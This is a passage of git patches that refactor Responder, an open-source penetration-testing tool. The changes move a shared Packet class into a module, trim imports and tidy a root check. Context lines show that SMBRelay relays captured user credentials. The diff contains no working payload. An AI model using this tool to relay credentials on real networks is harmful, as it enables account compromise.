OrderedDict - -class Packet: - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from packets import Packet class SMBHeader(Packet): fields = OrderedDict([ diff --git a/tools/SMBRelay.py b/tools/SMBRelay.py index 1f6b944..8131991 100755 --- a/tools/SMBRelay.py +++ b/tools/SMBRelay.py @@ -15,8 +15,6 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import sys -import re -import socket import random import optparse import thread @@ -26,6 +24,7 @@ from socket import * from RelayPackets import * from packets import * from servers.SMB import * +from packets import Packet import logging Logs = logging @@ -78,20 +77,6 @@ print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gm print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' -class Packet: - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - #Function used to verify if a previous auth attempt was made. def ReadData(outfile,Client, User, cmd=None): try: From 86fb1ab3282e03a031f9a750109465724725506f Mon Sep 17 00:00:00 2001 From: jvoisin Date: Tue, 5 Jul 2016 01:30:16 +0200 Subject: [PATCH 5/5] Minor refactoring of the main script --- Responder.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/Responder.py b/Responder.py index 94fbaa4..ee65c72 100755 --- a/Responder.py +++ b/Responder.py @@ -14,14 +14,10 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys import optparse -import socket -import time -import settings import ssl -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer +from SocketServer import TCPServer, UDPServer, ThreadingMixIn from threading import Thread from utils import * @@ -45,8 +41,7 @@ options, args = parser.parse_args() if not os.geteuid() == 0: print color("[!] Responder must be run as root.") sys.exit(-1) - -if options.OURIP is None and IsOsX() is True: +elif options.OURIP is None and IsOsX() is True: print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n" parser.print_help() exit(-1)